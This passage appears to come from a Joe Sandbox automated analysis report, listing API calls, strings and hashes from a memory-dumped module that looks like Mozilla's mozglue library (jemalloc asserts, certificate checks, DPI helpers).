GetCurrentThreadId.KERNEL32 ref: 6C99B845
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99B852
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99B884
InitializeConditionVariable.KERNEL32(?), ref: 6C99B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C99B9FD
GetCurrentThreadId.KERNEL32 ref: 6C99BA05
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C99BA27
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99BA4B
free.MOZGLUE(?), ref: 6C99C9C7
free.MOZGLUE(?), ref: 6C99C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C99C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C99C878

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction ID: 33595b7736bef566392ee73db2a2ff1ddd88cb8ff5169e84838847bee9862f62
Opcode Fuzzy Hash: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction Fuzzy Hash: 9BA28D71A087808FD725CF28C88079BB7F5BFD9318F144A2DE899A7750DB70E9458B92

Function 6C966C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C966CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C966D26

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C966D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C966D73
free.MOZGLUE(00000000), ref: 6C966D80
CertGetNameStringW.CRYPT32 ref: 6C966DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C966DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C966DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C966E10
CryptMsgClose.CRYPT32(00000000), ref: 6C966E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C966E34
CreateFileW.KERNEL32 ref: 6C966EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C966F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C96709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C967103
free.MOZGLUE(00000000), ref: 6C967153
CloseHandle.KERNEL32(?), ref: 6C967176
__Init_thread_footer.LIBCMT ref: 6C967209
__Init_thread_footer.LIBCMT ref: 6C96723A
__Init_thread_footer.LIBCMT ref: 6C96726B
__Init_thread_footer.LIBCMT ref: 6C96729C
__Init_thread_footer.LIBCMT ref: 6C9672DC
__Init_thread_footer.LIBCMT ref: 6C96730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9673C2
VerSetConditionMask.NTDLL ref: 6C9673F3
VerSetConditionMask.NTDLL ref: 6C9673FF
VerSetConditionMask.NTDLL ref: 6C967406
VerSetConditionMask.NTDLL ref: 6C96740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C96741A
moz_xmalloc.MOZGLUE(?), ref: 6C96755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C967568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C967585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C967598
free.MOZGLUE(00000000), ref: 6C9675AC

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

(, xrefs: 6C96768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C9672C8
SHA256, xrefs: 6C966EC0
wintrust.dll, xrefs: 6C9672CD

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction ID: 1af148cfaa595b17f45e2f4d97572ae5f9a3a2cedea4a4921c9536d7c3c72a20
Opcode Fuzzy Hash: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction Fuzzy Hash: CB52D3B1A046149BFB21DF25CC85BAA77BCEF55708F104199E909A7A80DB70EBC4CF91

Function 6C986FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987019
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987061
EnterCriticalSection.KERNEL32(?), ref: 6C9871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C98721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C98723E
EnterCriticalSection.KERNEL32(?), ref: 6C98726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C98733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C98961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C989622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C989642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896DB
AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C989747
GetSystemInfo.KERNEL32(?), ref: 6C989792
__Init_thread_footer.LIBCMT ref: 6C9897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C9897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C989838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C989874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C989895

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C989B38
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C989993
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9899D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9899A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C989933, 6C989A33, 6C989A4E
MALLOC_OPTIONS, xrefs: 6C9897CA
MOZ_CRASH(), xrefs: 6C989B42
<jemalloc>, xrefs: 6C989B33, 6C989BE3
: (malloc) Unsupported character in malloc options: ', xrefs: 6C989BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9899BD

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction ID: 4cfab2d6bf7420a4ecdf927842537904bdaab14e5361d5b89ce12db4493a5c79
Opcode Fuzzy Hash: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction Fuzzy Hash: A253B171A067018FD704CF28C580715FBE5BF85728F2ACAADE8699B791D371E841CB91

Function 6C990DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C990F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C990F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C990FB7
EnterCriticalSection.KERNEL32(?), ref: 6C990FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C991031
LeaveCriticalSection.KERNEL32(?), ref: 6C9910D0
EnterCriticalSection.KERNEL32(?), ref: 6C99117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C991C39
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C993391
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C993431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993437

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C993946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C993793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9937A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C993559, 6C99382D, 6C993848
MALLOC_OPTIONS, xrefs: 6C9935FE
MOZ_CRASH(), xrefs: 6C993950
<jemalloc>, xrefs: 6C993941, 6C9939F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6C993A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9937BD

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction ID: 88323adfe735787603888024a929bbd32d38c400ccc241e9f8c4747c956297d6
Opcode Fuzzy Hash: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction Fuzzy Hash: F0539D71A05B018FD304CF29C540616FBE5BF8A728F2DC6ADE8699BB91D771E841CB81

Function 6C9B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C98E1A5), ref: 6C9B5606
LoadLibraryW.KERNEL32(gdi32,?,6C98E1A5), ref: 6C9B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9B57FF

Strings

GetDpiForWindow, xrefs: 6C9B5690
ReleaseDC, xrefs: 6C9B5742
GetWindowDC, xrefs: 6C9B5710
CreateSolidBrush, xrefs: 6C9B57E4
ShowWindow, xrefs: 6C9B56DE
SetWindowPos, xrefs: 6C9B56F7
RegisterClassW, xrefs: 6C9B56AC
gdi32, xrefs: 6C9B560A
SetWindowLongPtrW, xrefs: 6C9B57B7
EnableNonClientDpiScaling, xrefs: 6C9B5666
LoadCursorW, xrefs: 6C9B5774
GetThreadDpiAwarenessContext, xrefs: 6C9B562D
DeleteObject, xrefs: 6C9B57F9
FillRect, xrefs: 6C9B5729
GetSystemMetricsForDpi, xrefs: 6C9B5677
LoadIconW, xrefs: 6C9B575B
GetMonitorInfoW, xrefs: 6C9B57A2
StretchDIBits, xrefs: 6C9B57CC
user32, xrefs: 6C9B5601
AreDpiAwarenessContextsEqual, xrefs: 6C9B5637
MonitorFromWindow, xrefs: 6C9B578D
CreateWindowExW, xrefs: 6C9B56C5

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction ID: 41747918415cd83854961cde67794af9457b0b5d570bd113f65776845f780560
Opcode Fuzzy Hash: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction Fuzzy Hash: B7513271719F03ABDB019F358D44A273ABCAB4B6897318965A911F3A51EFB0E840CF71

Function 6C9B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EE2

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9B61DD
Part of subcall function 6C9B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4157

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6250
Part of subcall function 6C9B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4896
free.MOZGLUE ref: 6C9B489F

Strings

, xrefs: 6C9B4CD2

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction ID: 2024a2ce44dd57baca4eb525791026bf68a6069d6195df2565f20f8c78d6c700
Opcode Fuzzy Hash: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction Fuzzy Hash: A8F23D74908B808FC725CF28C08469AFBF1FF99348F158A5ED999A7711DB31E496CB42

Function 6C9664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C966505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C966518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C96671C
GetCurrentProcess.KERNEL32 ref: 6C966724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C96672F
GetCurrentProcess.KERNEL32 ref: 6C966759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C966764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C966A80
GetSystemInfo.KERNEL32(?), ref: 6C966ABE
__Init_thread_footer.LIBCMT ref: 6C966AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AF7

Strings

nvd3d9wrap.dll, xrefs: 6C966500
user32.dll, xrefs: 6C966526
_etoured.dll, xrefs: 6C9664ED
detoured.dll, xrefs: 6C9664DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C966798
nvdxgiwrap.dll, xrefs: 6C966513

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction ID: f3bee4324432d92c21bcd1d3f6c1d1ac9eb2539a26f6e5108cf66aa5291763c1
Opcode Fuzzy Hash: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction Fuzzy Hash: 74F1D3709056199FEF20CF26CD48B9AB7B9AF46318F1442D9D809E3B81D731EA84CF91

Function 6C9860A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9860C9
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C98610D
EnterCriticalSection.KERNEL32(?), ref: 6C98618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9861F9

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C986AAE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C986BC7, 6C986F97, 6C986FB2
MALLOC_OPTIONS, xrefs: 6C986888
MOZ_CRASH(), xrefs: 6C986AB8
<jemalloc>, xrefs: 6C986AA9, 6C986B59
: (malloc) Unsupported character in malloc options: ', xrefs: 6C986B6A

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction ID: 5f412a5f79bb3721f2e4877629fc26ad606a218144d7b7f8dbb7b964545e3613
Opcode Fuzzy Hash: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction Fuzzy Hash: BEA2AD71A1AB018FD704CF28C540715BBE1BB86728F29CA6DE869DFB91C771E841CB81

Function 6C9BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB62
